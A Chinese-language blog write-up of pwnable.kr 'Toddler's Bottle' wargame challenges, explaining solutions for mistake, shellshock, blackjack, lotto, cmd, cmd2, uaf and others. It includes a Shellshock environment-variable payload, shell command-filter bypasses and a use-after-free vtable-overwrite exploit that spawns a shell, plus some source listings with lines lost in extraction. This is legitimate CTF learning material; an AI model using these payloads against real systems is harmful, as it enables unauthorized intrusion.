pwnable.kr解题write up —— Toddler's Bottle(二)

9. mistake

#include 
#include 

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
	int i;
	for(i=0; i 0)){
		printf("read error\n");
		close(fd);
		return 0;		
	}

	char pw_buf2[PW_LEN+1];
	printf("input password : ");
	scanf("%10s", pw_buf2);

	// xor your input
	xor(pw_buf2, 10);

	if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
		printf("Password OK\n");
		system("/bin/cat flag\n");
	}
	else{
		printf("Wrong Password\n");
	}

	close(fd);
	return 0;
}


这题本来是没找到端倪的,不过尝试执行后,发现终端在等待输入,但是没有提示信息“input password : ”。在输入一个回车以后,才提示出来。可以断定,在这之前打开stdin,并且进行了读入。向上回溯,相关函数只有read,那么很可能是fd的值为0。fd赋值语句为fd=open("/home/mistake/password",O_RDONLY,0400) < 0。结合提示,可以知道是<的优先级高于=,所以open("/home/mistake/password",O_RDONLY,0400) < 0会先执行,结果为0(文件成功打开),然后赋值给fd。所以fd的值为0,导致密码为用户输入,而不是从文件读取。


10. shellshock

#include 
int main(){
	setresuid(getegid(), getegid(), getegid());
	setresgid(getegid(), getegid(), getegid());
	system("/home/shellshock/bash -c 'echo shock_me'");
	return 0;
}

从题目可以知道,利用shellshock就可以攻击。env x='() { :;}; /bin/cat flag;' ./shellshock


11. coin1

考网络编程的题目。要求从一堆硬币中找到一个重量不同的硬币,这里用二分法即可。要求的速度较快,需要30秒内完成100题,本机网络达不到这个速度。因此需要将代码上传到pwnable.kr的服务器上去运行(使用之前题目中任一帐号即可)。具体代码实现如下:

#!/usr/bin/python

import socket
import sys
import re

# get the socket connection
def connect(HOST, PORT):
    s = None
    for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC, socket.SOCK_STREAM):
        af, socktype, proto, canonname, sa = res
        try:
            s = socket.socket(af, socktype, proto)
        except socket.error, msg:
            s = None
            continue
        try:
            s.connect(sa)
        except socket.error, msg:
            s.close()
            s = None
            continue
            break
    return s

# if the weight is correct, then the counterfeit coint is in the other half. Otherwise, it is in the current half. 
def weight(cIndex, cWeight, lIndex):
    if cWeight != (cIndex[1]-cIndex[0])*10:
        return cIndex
    else:
        return (cIndex[1],lIndex[1])

# format the index range to string
def getNumbers(index):
    strList = []
    for i in range(index[0], index[1]):
        strList.append(str(i))
    return ' '.join(strList)


HOST = 'localhost'    # The remote host  
#HOST = 'pwnable.kr'    # The remote host  
PORT = 9007              # The same port as used by the server  
s = connect(HOST, PORT)
if s is None:
    print 'could not open socket'
    sys.exit(1)

index = None # the range that to be weighted
lastIndex = None # the range that contains the counterfeit coin

while True:
    data = s.recv(1024)
    print str(data)

    pattern1 = re.compile("""^N=([0-9]*) C=([0-9]*)$""")
    match1 = pattern1.match(str(data))

    pattern2 = re.compile("""^([0-9]*)$""")
    match2 = pattern2.match(str(data))

    # the first round
    if match1:
        index = (0,int(match1.group(1))/2)
        lastIndex = (0, int(match1.group(1)))
        print str(getNumbers(index))
        s.send(getNumbers(index) + "\r\n")
    # the other round
    elif match2 and len(match2.group(1)) > 0:

        lastIndex=weight(index, int(match2.group(1)), lastIndex)
        index=(lastIndex[0], (lastIndex[0]+lastIndex[1])/2 + (lastIndex[0]+lastIndex[1])%2) # get the ceil value when divided by 2
        print str(getNumbers(index))
        s.send(getNumbers(index) + "\r\n")
    elif "format error" in str(data) or "time expired! bye!" in str(data):
        break

s.close()

12. blackjack

要求在游戏中获得100w元以上的金额。看到源码,首先想到bufferoverflow做溢出然后修改对应变量的值,不过没有找到关键的函数strcopy,gets等危险函数,就连输入的scanf也全都是用的%c。根据程序运行的效果来说,肯定是要通过输入来产生异常行为。那么程序中存在一下几种输入:

  1. 单字符输入(Y/N,以及游戏过程中的H/S两种)。这类输入都是通过scanf("%c")来读取的,而且做的是白名单判定,无法进行利用
  2. 进入游戏时的菜单。使用scanf("%d")读取,只能赋值给一个本地变量,也是白名单判定,无法进行利用
  3. 输入赌注金额。这里会将输入的结果赋值给一个全局变量bet,而bet做了检查,要求小于cash。而在判定结果好,cash会直接加上或者减去bet。
那么结论就很明显了,可以从第3点进行利用。注意,对于bet的检查,只是 bet,没有任何其他检查。而%d是可以接受负数的。因此,在这里输入-1000000,然后不停的Hit,输掉比赛,程序就会调用cash-bet,相当于加上了100w。

另外,这题可能也有考察整数溢出的意思。假如在这里做了检测,不允许输入负号,那我们仍然可以通过输入大于 2147483647的数来构造出负数。


13. lotto

简单来说就是一个猜数字的游戏,但是注意到代码中的对比逻辑是:

        for(i=0; i<6; i++){
                for(j=0; j<6; j++){
                        if(lotto[i] == submit[j]){
                                match++;
                        }
                }
        }

也就是说,其实是做了一个6*6的对比,因此我们只需要连续输入相同的ascii在45以内的字符,如“!!!!!!”,然后只需要随机出来的6个字符中,有且只有一个与输入的字符相同,就能够通过判断。这个几率还是很大的,多尝试几次就可以了。

然而坑爹的是,我是在mac中尝试编译的lotto.c文件,然后在输出log后,发现效果和linux中不一样。同样是输入6个!,linux中的submit值变成32 32 32 32 32 32,而mac中的值缺是10 32 32 32 32 32。而如果是输入5个!,mac中的值是32 32 32 32 32 10。也就是说,在mac中,没有办法一次性将submit中值赋成6个一样的数,因为read函数接受了换行符,并会将其从头开始赋值(也就是说,即使输入了很多很多的字符,read也只会一遍一遍的覆盖这6个字符位),这应该是mac中gcc的一个优化,可以一定程度上避免内存溢出。

尽管如此,我还是找到了破解的方法。这个代码中其实还隐藏了一个简单的Use-After-Free的漏洞,即submit这个变量,并没有清空过,上次的赋值结果会持续保留。因此,第一次输入5个字符,submit的值为32 32 32 32 32 10。然后再次开始游戏,输入4个字符,submit的值就会变成为32 32 32 32 10 10。注意,这里最后一位的10并不是本次赋值的结果,而是上次赋值的一个残留。以此类推,分别输入3个字符、2个字符、1个字符,再这之后,不输入字符,直接回车即可,submit的值会变成10 10 10 10 10 10。这样以来,submit中的值保持一致且小于45,只需要多尝试几次就可以很容易成功了。

14. cmd

#include 
#include 

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "flag")!=0;
	r += strstr(cmd, "sh")!=0;
	r += strstr(cmd, "tmp")!=0;
	return r;
}
int main(int argc, char* argv[], char** envp){
	putenv("PATH=/fuckyouverymuch");
	if(filter(argv[1])) return 0;
	system( argv[1] );
	return 0;
}
这题比较简单。程序中首先修改了环境变量,导致无法直接使用cat等命令,但其实可以直接通过完整路径使用,如/bin/cat。然后输入的参数中,不能够带有flag、sh、tmp这几个字段,也就是不能直接cat flag,但是可以通过*的自动补齐逻辑来替代。因此,执行./cmd1 "/bin/cat fla*"即可。

15. cmd2

#include 
#include 

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "=")!=0;
	r += strstr(cmd, "PATH")!=0;
	r += strstr(cmd, "export")!=0;
	r += strstr(cmd, "/")!=0;
	r += strstr(cmd, "`")!=0;
	r += strstr(cmd, "flag")!=0;
	return r;
}

extern char** environ;
void delete_env(){
	char** p;
	for(p=environ; *p; p++)	memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
	delete_env();
	putenv("PATH=/no_command_execution_until_you_become_a_hacker");
	if(filter(argv[1])) return 0;
	printf("%s\n", argv[1]);
	system( argv[1] );
	return 0;
}
相比上一题,过滤条件加强了很多,也不允许修改环境变量或者提前设置bash变量。可以确定的方向是,想要执行一个命令,必须包含/字符。因此,这题的思路基本就是使用builtin的命令来构造出/字符,并巧妙的利用它们。
这题我首先想到的使用echo来进行转换,也就是说,通过echo -en "\x2f\x62\x69\x6e\x2f\x63\x61\x74\x20\x66\x2a"来构造出/bin/cat f*命令,然后通过eval执行即可。然而经过多次尝试,发现c语言中的system命令,无法识别-en参数,也就是说会直接打印-en \x2f\x62\x69\x6e\x2f\x63\x61\x74\x20\x66\x2a,无法执行命令。接着又尝试了printf参数,直接printf "\x2f\x62\x69\x6e\x2f\x63\x61\x74\x20\x66\x2a"也可以出现同样的参数,但是,system命令再次坑爹了,它打印出来的是x2fx62x69x6ex2fx63x61x74x20x66x2a
,也就是说它无法对\x进行转换。
最后发现pwd命令可以直接产生/字符,因此可以构造出如下的使用方法。首先在/tmp目录下建立自己的目录exploit,然后创建目录/tmp/exploit/c。那么,如果在/tmp/exploit/c目录下执行pwd命令就可以得到/tmp/exploit/c了。然后在/tmp/exploit下构造cat的软应用ln -s /bin/cat cat,在/tmp/exploit/c下建立flag的软引用ln -s /home/cmd2/flag flag。然后在/tmp/exploit/c下执行命令/home/cmd2/cmd2 "\$(pwd)at f*"就可以得到flag了。其原理就是利用“$(pwd)at”构造出/tmp/exploit/cat命令。

16. uaf

#include 
#include 
#include 
#include 
#include 
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout << "My name is " << name << endl;
                cout << "I am " << age << " years old" << endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                        break;
                }
        }

        return 0;

根据提示,这题是要利用Use After Free的漏洞来进行利用。这题的思路也比较明显,程序中首先新建了Man和Woman两个对象,然后可以通过case 3来delete掉。删除掉对象之后,我们仍然可以调用到case 1,当然,如果这里什么都不做的话,基本上是会出现segmentation fault的。但是我们可以通过case 2来创建一个字段,根据堆的特性,在回收掉一个block后,如果新的malloc大小比之前的block小或者恰好相等,那么堆会优先分配最近一次free的block给malloc。因此,这里只需要malloc也就是new的字段大小恰好登录Human的大小,就能够成功的改写其中的内容。
下面使用gdb来分析一下,首先添加断点到0x 0400f8d,这里是开始循环之前的指令,所有的变量都已经新建好了。
首先找到m的内存地址:
   0x0000000000400f13 <+79>:	callq  0x401264 <_ZN3ManC2ESsi>
   0x0000000000400f18 <+84>:	mov    %rbx,-0x38(%rbp)
这里对应的是rbp-0x38。同样的也可以找到w的内存地址为:rbp-0x30。

在gdb中打印出该内存的值,这里的 0x01500040应该是*m的值,是一个指针,指向的是对象的引用
(gdb) x/x $rbp-0x38
0x7fff8133d128:	0x01500040

继续跟入内存地址,这里的0x00401570就是一个m对象了,它表示的是block的起始位置。可以注意到,0x19代表的是年龄25,通过x/s查看0x01500028也可以看到值是Jack。这也同时反映出一个Man的block大小为24字节。

(gdb) x/6x 0x01500040

0x1500040: 0x00401570 0x00000000 0x00000019 0x00000000

0x1500050: 0x01500028 0x00000000


而其中0x00401570就是对象Man所对应的vtable了,vtable中会包含各个函数对应的地址。可以打印出里面的参数:
(gdb) x/12x 0x00401570
0x401570 <_ZTV3Man+16>:	0x0040117a	0x00000000	0x004012d2	0x00000000
0x401580 <_ZTV5Human>:	0x00000000	0x00000000	0x004015f0	0x00000000
0x401590 <_ZTV5Human+16>:	0x0040117a	0x00000000	0x00401192	0x00000000

继续打印其中的值:
(gdb) x/i 0x0040117a
   0x40117a <_ZN5Human10give_shellEv>:	push   %rbp

(gdb) x/i 0x004012d2
   0x4012d2 <_ZN3Man9introduceEv>:	push   %rbp

可以发现0x0040117a指向了give_shell,而0x004012d2指向了introduce方法。回到case 1的调用处:
   0x0000000000400fcd <+265>:	mov    -0x38(%rbp),%rax
   0x0000000000400fd1 <+269>:	mov    (%rax),%rax
   0x0000000000400fd4 <+272>:	add    $0x8,%rax
   0x0000000000400fd8 <+276>:	mov    (%rax),%rdx
   0x0000000000400fdb <+279>:	mov    -0x38(%rbp),%rax
   0x0000000000400fdf <+283>:	mov    %rax,%rdi
   0x0000000000400fe2 <+286>:	callq  *%rdx
可以看到调用的过程就是获取m的地址,然后进一步获取其中vtable的地址,然后将vtable的地址加8,就可以调用到introduce方法了。因为这部分汇编是没法改变的,但是我们能够通过Use After Free去修改0x01500040中的值,于是vtable的地址可以被改变。为了使得vtable+8能够指向give_shell方法,那么vtable + 8 = 0x401570,因此vtable的值应该是0x401568。

最终的exploit效果如下:
uaf@ubuntu:~$ echo -en "\x68\x15\x40\x00\x00\x00\x00\x00" > /tmp/wuaf
uaf@ubuntu:~$ ./uaf 24 /tmp/wuaf
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning
之所以要allocate两次,是因为在free的时候是先free的m后free的w。因此,第一次allocate会写入w,第二次才会写入m。然后执行m的introduce方法,因为vtable的地址已经改变,所以会指向give_shell中去。

17. codemap

考验ida编程的题目,要求找出程序中第二大和第三大的块的字符串。根据提示,在0x403E65处设下断点,观察eax和ebx的值,可以发现eax对应的就是块的大小,而ebx对应的字符串的位置。不过这个程序会分配1000次,因此手动找出头三个肯定是不现实的了,所以需要对ida脚本进行编程。这里我是用idc来进行的调试(吐槽一下,关于ida编程,不管是中文和外文资料都少的可怜,只能根据仅有的几个demo硬凑出来。),具体脚本如下:
#include 

static main(){

    auto max_eax, max_ebx, second_eax, second_ebx, third_eax, third_ebx;
    auto eax, ebx;

    max_eax = 0;
    second_eax = 0;
    third_eax = 0;
    max_ebx = 0;
    second_ebx = 0;
    third_ebx = 0;

    AddBpt(0x403E65);
    StartDebugger("","","");
    auto count;
    for(count = 0; count < 999; count ++){
        auto code = GetDebuggerEvent(WFNE_SUSP|WFNE_CONT, -1);
        eax = GetRegValue("EAX");
        ebx = GetRegValue("EBX");
    
        if(max_eax < eax){
            third_eax = second_eax;
            third_ebx = second_ebx;
            second_eax = max_eax;
            second_ebx = max_ebx;
            max_eax = eax;
            max_ebx = ebx;
        }else if(second_eax < eax){
            third_eax = second_eax;
            third_ebx = second_ebx;
            second_eax = eax;
            second_ebx = ebx;
        }else if(third_eax < eax){
            third_eax = eax;
            third_ebx = ebx;
        }
    }
    Message("max eax: %d, ebx: %x, second eax: %d, ebx: %x, third eax: %d, ebx: %x\n", max_eax, max_ebx, second_eax, second_ebx, third_eax, third_ebx);
}

这个程序基本就是在断点处不断的读取eax和ebx,然后记录最大的三个eax以及它们对应的ebx。让它循环999次,不然会出现死循环。现在的话应当会停留在最后一次分配之前,也就是说打印出结果的时候,程序还没运行结束。因此,可以直接根据打印的结果查看对应的内存地址,从而找到字符串。

18. memcpy

这题闹不明白想要干嘛,始终跑不出结果,感觉程序每次跑到一半就会挂掉,可能人太多,内存不够了?在自己机器上跑就没有问题。。。。

你可能感兴趣的:(security,CTF,security)